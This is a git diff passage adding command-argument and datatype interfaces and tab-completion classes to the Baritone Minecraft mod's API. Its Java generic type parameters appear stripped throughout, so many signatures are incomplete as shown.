+ * A critical difference between {@link IDatatype}s and {@link IArgParser}s is how many arguments they can take. + * While {@link IArgParser}s always operate on a single argument's value, {@link IDatatype}s get access to the entire + * {@link IArgConsumer}}. + * + * @param type The type to peek as + * @return An instance of the specified type, or {@code null} if it couldn't be parsed + * @see IArgParser + * @see #get() + * @see #getAs(Class) + * @see #getAsOrDefault(Class, Object) + * @see #peekAs(Class) + * @see #peekAsOrDefault(Class, Object, int) + * @see #peekAsOrNull(Class, int) + */ + T getAsOrNull(Class type) throws CommandNotEnoughArgumentsException; + + > T getDatatypePost(D datatype, O original) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException; + + > T getDatatypePostOrDefault(D datatype, O original, T _default); + + > T getDatatypePostOrNull(D datatype, O original); + + > T getDatatypeFor(D datatype) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException; + + > T getDatatypeForOrDefault(D datatype, T def); + + > T getDatatypeForOrNull(D datatype); + + Stream tabCompleteDatatype(T datatype); + + /** + * Returns the "raw rest" of the string. For example, from a string arg1 arg2  arg3, split + * into three {@link ICommandArgument}s {@code "arg1"}, {@code "arg2"}, and {@code "arg3"}: + * + *

    + *
  • {@code rawRest()} would return arg1 arg2  arg3
  • + *
  • After calling {@link #get()}, {@code rawRest()} would return arg2  arg3 (note the + * double space - it is preserved!)
  • + *
  • After calling {@link #get()} again, {@code rawRest()} would return {@code "arg3"}
  • + *
  • After calling {@link #get()} one last time, {@code rawRest()} would return {@code ""}
  • + *
+ * + * @return The "raw rest" of the string. + */ + String rawRest(); + + /** + * @param min The minimum amount of arguments to require. + * @throws CommandNotEnoughArgumentsException If there are less than {@code min} arguments left. + * @see #requireMax(int) + * @see #requireExactly(int) + */ + void requireMin(int min) throws CommandNotEnoughArgumentsException; + + /** + * @param max The maximum amount of arguments allowed. + * @throws CommandTooManyArgumentsException If there are more than {@code max} arguments left. + * @see #requireMin(int) + * @see #requireExactly(int) + */ + void requireMax(int max) throws CommandTooManyArgumentsException; + + /** + * @param args The exact amount of arguments to require. + * @throws CommandNotEnoughArgumentsException If there are less than {@code args} arguments left. + * @throws CommandTooManyArgumentsException If there are more than {@code args} arguments left. + * @see #requireMin(int) + * @see #requireMax(int) + */ + void requireExactly(int args) throws CommandException; + + /** + * @return If this {@link IArgConsumer}} has consumed at least one argument. + * @see #consumed() + * @see #consumedString() + */ + boolean hasConsumed(); + + /** + * @return The last argument this {@link IArgConsumer}} has consumed, or an "unknown" argument, indicated by a + * comamnd argument index that has a value of {@code -1}, if no arguments have been consumed yet. + * @see #consumedString() + * @see #hasConsumed() + */ + ICommandArgument consumed(); + + /** + * @return The value of thelast argument this {@link IArgConsumer}} has consumed, or an empty string if no arguments + * have been consumed yet + * @see #consumed() + * @see #hasConsumed() + */ + String consumedString(); + + /** + * @return A copy of this {@link IArgConsumer}}. It has the same arguments (both consumed and not), but does not + * affect or mutate this instance. Useful for the various {@code peek} functions + */ + IArgConsumer copy(); +} diff --git a/src/baritone/api/command/argument/ICommandArgument.java b/src/baritone/api/command/argument/ICommandArgument.java new file mode 100644 index 00000000..341e9d1f --- /dev/null +++ b/src/baritone/api/command/argument/ICommandArgument.java @@ -0,0 +1,101 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.argument; + +import baritone.api.command.argparser.IArgParser; +import baritone.api.command.exception.CommandInvalidTypeException; +import net.minecraft.util.Direction; + +/** + * A {@link ICommandArgument} is an immutable object representing one command argument. It contains data on the index of + * that argument, its value, and the rest of the string that argument was found in + *

+ * You're recommended to use {@link IArgConsumer}}s to handle these. + * + * @author Brady + * @since 10/2/2019 + */ +public interface ICommandArgument { + + /** + * @return The index of this command argument in the list of command arguments generated + */ + int getIndex(); + + /** + * @return The raw value of just this argument + */ + String getValue(); + + /** + * @return The raw value of the remaining arguments after this one was captured + */ + String getRawRest(); + + /** + * Gets an enum value from the enum class with the same name as this argument's value + *

+ * For example if you getEnum as an {@link Direction}, and this argument's value is "up", it will return {@link + * Direction#UP} + * + * @param enumClass The enum class to search + * @return An enum constant of that class with the same name as this argument's value + * @throws CommandInvalidTypeException If the constant couldn't be found + * @see IArgConsumer#peekEnum(Class) + * @see IArgConsumer#peekEnum(Class, int) + * @see IArgConsumer#peekEnumOrNull(Class) + * @see IArgConsumer#peekEnumOrNull(Class, int) + * @see IArgConsumer#getEnum(Class) + * @see IArgConsumer#getEnumOrNull(Class) + */ + > E getEnum(Class enumClass) throws CommandInvalidTypeException; + + /** + * Tries to use a stateless {@link IArgParser} to parse this argument into the specified class + * + * @param type The class to parse this argument into + * @return An instance of the specified type + * @throws CommandInvalidTypeException If the parsing failed + */ + T getAs(Class type) throws CommandInvalidTypeException; + + /** + * Tries to use a stateless {@link IArgParser} to parse this argument into the specified class + * + * @param type The class to parse this argument into + * @return If the parser succeeded + */ + boolean is(Class type); + + /** + * Tries to use a stated {@link IArgParser} to parse this argument into the specified class + * + * @param type The class to parse this argument into + * @return An instance of the specified type + * @throws CommandInvalidTypeException If the parsing failed + */ + T getAs(Class type, Class stateType, S state) throws CommandInvalidTypeException; + + /** + * Tries to use a stated {@link IArgParser} to parse this argument into the specified class + * + * @param type The class to parse this argument into + * @return If the parser succeeded + */ + boolean is(Class type, Class stateType, S state); +} diff --git a/src/baritone/api/command/datatypes/BlockById.java b/src/baritone/api/command/datatypes/BlockById.java new file mode 100644 index 00000000..447e048c --- /dev/null +++ b/src/baritone/api/command/datatypes/BlockById.java @@ -0,0 +1,65 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.exception.CommandException; +import baritone.api.command.helpers.TabCompleteHelper; +import net.minecraft.block.Block; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.registry.Registry; + +import java.util.regex.Pattern; +import java.util.stream.Stream; + +public enum BlockById implements IDatatypeFor { + INSTANCE; + + /** + * Matches (domain:)?name? where domain and name are [a-z0-9_.-]+ and [a-z0-9/_.-]+ respectively. + */ + private static Pattern PATTERN = Pattern.compile("(?:[a-z0-9_.-]+:)?[a-z0-9/_.-]*"); + + @Override + public Block get(IDatatypeContext ctx) throws CommandException { + ResourceLocation id = new ResourceLocation(ctx.getConsumer().getString()); + Block block; + if ((block = Registry.BLOCK.getOptional(id).orElse(null)) == null) { + throw new IllegalArgumentException("no block found by that id"); + } + return block; + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) throws CommandException { + String arg = ctx.getConsumer().getString(); + + if (!PATTERN.matcher(arg).matches()) { + return Stream.empty(); + } + + return new TabCompleteHelper() + .append( + Registry.BLOCK.keySet() + .stream() + .map(Object::toString) + ) + .filterPrefixNamespaced(arg) + .sortAlphabetically() + .stream(); + } +} diff --git a/src/baritone/api/command/datatypes/EntityClassById.java b/src/baritone/api/command/datatypes/EntityClassById.java new file mode 100644 index 00000000..c6f264c2 --- /dev/null +++ b/src/baritone/api/command/datatypes/EntityClassById.java @@ -0,0 +1,49 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.exception.CommandException; +import baritone.api.command.helpers.TabCompleteHelper; +import net.minecraft.entity.EntityType; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.registry.Registry; + +import java.util.stream.Stream; + +public enum EntityClassById implements IDatatypeFor { + INSTANCE; + + @Override + public EntityType get(IDatatypeContext ctx) throws CommandException { + ResourceLocation id = new ResourceLocation(ctx.getConsumer().getString()); + EntityType entity; + if ((entity = Registry.ENTITY_TYPE.getOptional(id).orElse(null)) == null) { + throw new IllegalArgumentException("no entity found by that id"); + } + return entity; + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) throws CommandException { + return new TabCompleteHelper() + .append(Registry.ENTITY_TYPE.stream().map(Object::toString)) + .filterPrefixNamespaced(ctx.getConsumer().getString()) + .sortAlphabetically() + .stream(); + } +} diff --git a/src/baritone/api/command/datatypes/ForAxis.java b/src/baritone/api/command/datatypes/ForAxis.java new file mode 100644 index 00000000..f273f389 --- /dev/null +++ b/src/baritone/api/command/datatypes/ForAxis.java @@ -0,0 +1,43 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.exception.CommandException; +import baritone.api.command.helpers.TabCompleteHelper; +import net.minecraft.util.Direction; + +import java.util.Locale; +import java.util.stream.Stream; + +public enum ForAxis implements IDatatypeFor { + INSTANCE; + + @Override + public Direction.Axis get(IDatatypeContext ctx) throws CommandException { + return Direction.Axis.valueOf(ctx.getConsumer().getString().toUpperCase(Locale.US)); + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) throws CommandException { + return new TabCompleteHelper() + .append(Stream.of(Direction.Axis.values()) + .map(Direction.Axis::getString).map(String::toLowerCase)) + .filterPrefix(ctx.getConsumer().getString()) + .stream(); + } +} diff --git a/src/baritone/api/command/datatypes/ForBlockOptionalMeta.java b/src/baritone/api/command/datatypes/ForBlockOptionalMeta.java new file mode 100644 index 00000000..26ca93d6 --- /dev/null +++ b/src/baritone/api/command/datatypes/ForBlockOptionalMeta.java @@ -0,0 +1,154 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.exception.CommandException; +import baritone.api.command.helpers.TabCompleteHelper; +import baritone.api.utils.BlockOptionalMeta; +import net.minecraft.block.Block; +import net.minecraft.state.Property; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.registry.Registry; + +import java.util.Set; +import java.util.regex.Pattern; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +public enum ForBlockOptionalMeta implements IDatatypeFor { + INSTANCE; + + /** + * Matches (domain:)?name([(property=value)*])? but the input can be truncated at any position. + * domain and name are [a-z0-9_.-]+ and [a-z0-9/_.-]+ because that's what mc 1.13+ accepts. + * property and value use the same format as domain. + */ + // Good luck reading this. + private static Pattern PATTERN = Pattern.compile("(?:[a-z0-9_.-]+:)?(?:[a-z0-9/_.-]+(?:\\[(?:(?:[a-z0-9_.-]+=[a-z0-9_.-]+,)*(?:[a-z0-9_.-]+(?:=(?:[a-z0-9_.-]+(?:\\])?)?)?)?|\\])?)?)?"); + + @Override + public BlockOptionalMeta get(IDatatypeContext ctx) throws CommandException { + return new BlockOptionalMeta(ctx.getConsumer().getString()); + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) throws CommandException { + String arg = ctx.getConsumer().peekString(); + + if (!PATTERN.matcher(arg).matches()) { + // Invalid format; we can't complete this. + ctx.getConsumer().getString(); + return Stream.empty(); + } + + if (arg.endsWith("]")) { + // We are already done. + ctx.getConsumer().getString(); + return Stream.empty(); + } + + if (!arg.contains("[")) { + // no properties so we are completing the block id + return ctx.getConsumer().tabCompleteDatatype(BlockById.INSTANCE); + } + + ctx.getConsumer().getString(); + + // destructuring assignment? Please? + String blockId, properties; + { + String[] parts = splitLast(arg, '['); + blockId = parts[0]; + properties = parts[1]; + } + + Block block = Registry.BLOCK.getOptional(new ResourceLocation(blockId)).orElse(null); + if (block == null) { + // This block doesn't exist so there's no properties to complete. + return Stream.empty(); + } + + String leadingProperties, lastProperty; + { + String[] parts = splitLast(properties, ','); + leadingProperties = parts[0]; + lastProperty = parts[1]; + } + + if (!lastProperty.contains("=")) { + // The last property-value pair doesn't have a value yet so we are completing its name + Set usedProps = Stream.of(leadingProperties.split(",")) + .map(pair -> pair.split("=")[0]) + .collect(Collectors.toSet()); + + String prefix = arg.substring(0, arg.length() - lastProperty.length()); + return new TabCompleteHelper() + .append( + block.getStateContainer() + .getProperties() + .stream() + .map(Property::getName) + ) + .filter(prop -> !usedProps.contains(prop)) + .filterPrefix(lastProperty) + .sortAlphabetically() + .map(prop -> prefix + prop) + .stream(); + } + + String lastName, lastValue; + { + String[] parts = splitLast(lastProperty, '='); + lastName = parts[0]; + lastValue = parts[1]; + } + + // We are completing the value of a property + String prefix = arg.substring(0, arg.length() - lastValue.length()); + + Property property = block.getStateContainer().getProperty(lastName); + if (property == null) { + // The property does not exist so there's no values to complete + return Stream.empty(); + } + + return new TabCompleteHelper() + .append(getValues(property)) + .filterPrefix(lastValue) + .sortAlphabetically() + .map(val -> prefix + val) + .stream(); + } + + /** + * Always returns exactly two strings. + * If the separator is not found the FIRST returned string is empty. + */ + private static String[] splitLast(String string, char chr) { + int idx = string.lastIndexOf(chr); + if (idx == -1) { + return new String[]{"", string}; + } + return new String[]{string.substring(0, idx), string.substring(idx + 1)}; + } + + // this shouldn't need to be a separate method? + private static > Stream getValues(Property property) { + return property.getAllowedValues().stream().map(property::getName); + } +} diff --git a/src/baritone/api/command/datatypes/ForDirection.java b/src/baritone/api/command/datatypes/ForDirection.java new file mode 100644 index 00000000..2d75eb88 --- /dev/null +++ b/src/baritone/api/command/datatypes/ForDirection.java @@ -0,0 +1,43 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.exception.CommandException; +import baritone.api.command.helpers.TabCompleteHelper; +import net.minecraft.util.Direction; + +import java.util.Locale; +import java.util.stream.Stream; + +public enum ForDirection implements IDatatypeFor { + INSTANCE; + + @Override + public Direction get(IDatatypeContext ctx) throws CommandException { + return Direction.valueOf(ctx.getConsumer().getString().toUpperCase(Locale.US)); + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) throws CommandException { + return new TabCompleteHelper() + .append(Stream.of(Direction.values()) + .map(Direction::getName2).map(String::toLowerCase)) + .filterPrefix(ctx.getConsumer().getString()) + .stream(); + } +} diff --git a/src/baritone/api/command/datatypes/ForWaypoints.java b/src/baritone/api/command/datatypes/ForWaypoints.java new file mode 100644 index 00000000..06142882 --- /dev/null +++ b/src/baritone/api/command/datatypes/ForWaypoints.java @@ -0,0 +1,81 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.IBaritone; +import baritone.api.cache.IWaypoint; +import baritone.api.cache.IWaypointCollection; +import baritone.api.command.exception.CommandException; +import baritone.api.command.helpers.TabCompleteHelper; + +import java.util.Comparator; +import java.util.stream.Stream; + +public enum ForWaypoints implements IDatatypeFor { + INSTANCE; + + @Override + public IWaypoint[] get(IDatatypeContext ctx) throws CommandException { + final String input = ctx.getConsumer().getString(); + final IWaypoint.Tag tag = IWaypoint.Tag.getByName(input); + + // If the input doesn't resolve to a valid tag, resolve by name + return tag == null + ? getWaypointsByName(ctx.getBaritone(), input) + : getWaypointsByTag(ctx.getBaritone(), tag); + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) throws CommandException { + return new TabCompleteHelper() + .append(getWaypointNames(ctx.getBaritone())) + .sortAlphabetically() + .prepend(IWaypoint.Tag.getAllNames()) + .filterPrefix(ctx.getConsumer().getString()) + .stream(); + } + + public static IWaypointCollection waypoints(IBaritone baritone) { + return baritone.getWorldProvider().getCurrentWorld().getWaypoints(); + } + + public static IWaypoint[] getWaypoints(IBaritone baritone) { + return waypoints(baritone).getAllWaypoints().stream() + .sorted(Comparator.comparingLong(IWaypoint::getCreationTimestamp).reversed()) + .toArray(IWaypoint[]::new); + } + + public static String[] getWaypointNames(IBaritone baritone) { + return Stream.of(getWaypoints(baritone)) + .map(IWaypoint::getName) + .filter(name -> !name.isEmpty()) + .toArray(String[]::new); + } + + public static IWaypoint[] getWaypointsByTag(IBaritone baritone, IWaypoint.Tag tag) { + return waypoints(baritone).getByTag(tag).stream() + .sorted(Comparator.comparingLong(IWaypoint::getCreationTimestamp).reversed()) + .toArray(IWaypoint[]::new); + } + + public static IWaypoint[] getWaypointsByName(IBaritone baritone, String name) { + return Stream.of(getWaypoints(baritone)) + .filter(waypoint -> waypoint.getName().equalsIgnoreCase(name)) + .toArray(IWaypoint[]::new); + } +} diff --git a/src/baritone/api/command/datatypes/IDatatype.java b/src/baritone/api/command/datatypes/IDatatype.java new file mode 100644 index 00000000..60bf0c38 --- /dev/null +++ b/src/baritone/api/command/datatypes/IDatatype.java @@ -0,0 +1,56 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.argparser.IArgParser; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; + +import java.util.stream.Stream; + +/** + * An {@link IDatatype} is similar to an {@link IArgParser} in the sense that it is capable of consuming an argument + * to transform it into a usable form as the code desires. + *

+ * A fundamental difference is that an {@link IDatatype} is capable of consuming multiple arguments. For example, + * {@link RelativeBlockPos} is an {@link IDatatypePost} which requires at least 3 {@link RelativeCoordinate} arguments + * to be specified. + *

+ * Another difference is that an {@link IDatatype} can be tab-completed, providing comprehensive auto completion + * that can substitute based on existing input or provide possibilities for the next piece of input. + * + * @see IDatatypeContext + * @see IDatatypeFor + * @see IDatatypePost + */ +public interface IDatatype { + + /** + * Attempts to complete missing or partial input provided through the {@link IArgConsumer}} provided by + * {@link IDatatypeContext#getConsumer()} in order to aide the user in executing commands. + *

+ * One benefit over datatypes over {@link IArgParser}s is that instead of each command trying to guess what values + * the datatype will accept, or simply not tab completing at all, datatypes that support tab completion can provide + * accurate information using the same methods used to parse arguments in the first place. + * + * @param ctx The argument consumer to tab complete + * @return A stream representing the strings that can be tab completed. DO NOT INCLUDE SPACES IN ANY STRINGS. + * @see IArgConsumer#tabCompleteDatatype(IDatatype) + */ + Stream tabComplete(IDatatypeContext ctx) throws CommandException; +} diff --git a/src/baritone/api/command/datatypes/IDatatypeContext.java b/src/baritone/api/command/datatypes/IDatatypeContext.java new file mode 100644 index 00000000..f0d1b563 --- /dev/null +++ b/src/baritone/api/command/datatypes/IDatatypeContext.java @@ -0,0 +1,46 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.IBaritone; +import baritone.api.command.argument.IArgConsumer; + +/** + * Provides an {@link IDatatype} with contextual information so + * that it can perform the desired operation on the target level. + * + * @author Brady + * @see IDatatype + * @since 9/26/2019 + */ +public interface IDatatypeContext { + + /** + * Provides the {@link IBaritone} instance that is associated with the action relating to datatype handling. + * + * @return The context {@link IBaritone} instance. + */ + IBaritone getBaritone(); + + /** + * Provides the {@link IArgConsumer}} to fetch input information from. + * + * @return The context {@link IArgConsumer}}. + */ + IArgConsumer getConsumer(); +} diff --git a/src/baritone/api/command/datatypes/IDatatypeFor.java b/src/baritone/api/command/datatypes/IDatatypeFor.java new file mode 100644 index 00000000..854fe686 --- /dev/null +++ b/src/baritone/api/command/datatypes/IDatatypeFor.java @@ -0,0 +1,43 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.exception.CommandException; + +import java.util.function.Supplier; + +/** + * An {@link IDatatype} which acts as a {@link Supplier}, in essence. The only difference + * is that it requires an {@link IDatatypeContext} to be provided due to the expectation that + * implementations of {@link IDatatype} are singletons. + */ +public interface IDatatypeFor extends IDatatype { + + /** + * Consumes the desired amount of arguments from the specified {@link IDatatypeContext}, and + * then returns the parsed value. This method will more than likely return a {@link IllegalArgumentException} + * if the expected input does not conform to a parseable value. As far as a {@link CommandException} being + * thrown is concerned, see the note below for specifics. + * + * @param ctx The context + * @return The parsed data-type + * @throws CommandException If there was an issue parsing using another type or arguments could not be polled. + * @see IDatatypeContext + */ + T get(IDatatypeContext ctx) throws CommandException; +} diff --git a/src/baritone/api/command/datatypes/IDatatypePost.java b/src/baritone/api/command/datatypes/IDatatypePost.java new file mode 100644 index 00000000..aa5b261d --- /dev/null +++ b/src/baritone/api/command/datatypes/IDatatypePost.java @@ -0,0 +1,41 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.exception.CommandException; + +import java.util.function.Function; + +/** + * An {@link IDatatype} which acts as a {@link Function}, in essence. The only difference + * is that it requires an {@link IDatatypeContext} to be provided due to the expectation that + * implementations of {@link IDatatype} are singletons. + */ +public interface IDatatypePost extends IDatatype { + + /** + * Takes the expected input and transforms it based on the value held by {@code original}. If {@code original} + * is null, it is expected that the implementation of this method has a case to handle it, such that a + * {@link NullPointerException} will never be thrown as a result. + * + * @param ctx The datatype context + * @param original The transformable value + * @return The transformed value + */ + T apply(IDatatypeContext ctx, O original) throws CommandException; +} diff --git a/src/baritone/api/command/datatypes/IDatatypePostFunction.java b/src/baritone/api/command/datatypes/IDatatypePostFunction.java new file mode 100644 index 00000000..fe79d6a6 --- /dev/null +++ b/src/baritone/api/command/datatypes/IDatatypePostFunction.java @@ -0,0 +1,29 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.exception.CommandException; + +/** + * @author Brady + * @since 9/26/2019 + */ +public interface IDatatypePostFunction { + + T apply(O original) throws CommandException; +} diff --git a/src/baritone/api/command/datatypes/NearbyPlayer.java b/src/baritone/api/command/datatypes/NearbyPlayer.java new file mode 100644 index 00000000..c4095ae4 --- /dev/null +++ b/src/baritone/api/command/datatypes/NearbyPlayer.java @@ -0,0 +1,56 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.IBaritone; +import baritone.api.command.exception.CommandException; +import baritone.api.command.helpers.TabCompleteHelper; +import net.minecraft.entity.player.PlayerEntity; +import net.minecraft.util.text.ITextComponent; + +import java.util.List; +import java.util.stream.Stream; + +/** + * An {@link IDatatype} used to resolve nearby players, those within + * render distance of the target {@link IBaritone} instance. + */ +public enum NearbyPlayer implements IDatatypeFor { + INSTANCE; + + @Override + public PlayerEntity get(IDatatypeContext ctx) throws CommandException { + final String username = ctx.getConsumer().getString(); + return getPlayers(ctx).stream() + .filter(s -> s.getName().getString().equalsIgnoreCase(username)) + .findFirst().orElse(null); + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) throws CommandException { + return new TabCompleteHelper() + .append(getPlayers(ctx).stream().map(PlayerEntity::getName).map(ITextComponent::getString)) + .filterPrefix(ctx.getConsumer().getString()) + .sortAlphabetically() + .stream(); + } + + private static List getPlayers(IDatatypeContext ctx) { + return ctx.getBaritone().getPlayerContext().world().getPlayers(); + } +} diff --git a/src/baritone/api/command/datatypes/RelativeBlockPos.java b/src/baritone/api/command/datatypes/RelativeBlockPos.java new file mode 100644 index 00000000..31ae9727 --- /dev/null +++ b/src/baritone/api/command/datatypes/RelativeBlockPos.java @@ -0,0 +1,57 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.utils.BetterBlockPos; + +import java.util.stream.Stream; + +public enum RelativeBlockPos implements IDatatypePost { + INSTANCE; + + @Override + public BetterBlockPos apply(IDatatypeContext ctx, BetterBlockPos origin) throws CommandException { + if (origin == null) { + origin = BetterBlockPos.ORIGIN; + } + + final IArgConsumer consumer = ctx.getConsumer(); + return new BetterBlockPos( + consumer.getDatatypePost(RelativeCoordinate.INSTANCE, (double) origin.x), + consumer.getDatatypePost(RelativeCoordinate.INSTANCE, (double) origin.y), + consumer.getDatatypePost(RelativeCoordinate.INSTANCE, (double) origin.z) + ); + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) throws CommandException { + final IArgConsumer consumer = ctx.getConsumer(); + if (consumer.hasAny() && !consumer.has(4)) { + while (consumer.has(2)) { + if (consumer.peekDatatypeOrNull(RelativeCoordinate.INSTANCE) == null) { + break; + } + consumer.get(); + } + return consumer.tabCompleteDatatype(RelativeCoordinate.INSTANCE); + } + return Stream.empty(); + } +} diff --git a/src/baritone/api/command/datatypes/RelativeCoordinate.java b/src/baritone/api/command/datatypes/RelativeCoordinate.java new file mode 100644 index 00000000..3d0f2613 --- /dev/null +++ b/src/baritone/api/command/datatypes/RelativeCoordinate.java @@ -0,0 +1,69 @@ +/* + * This file is part of 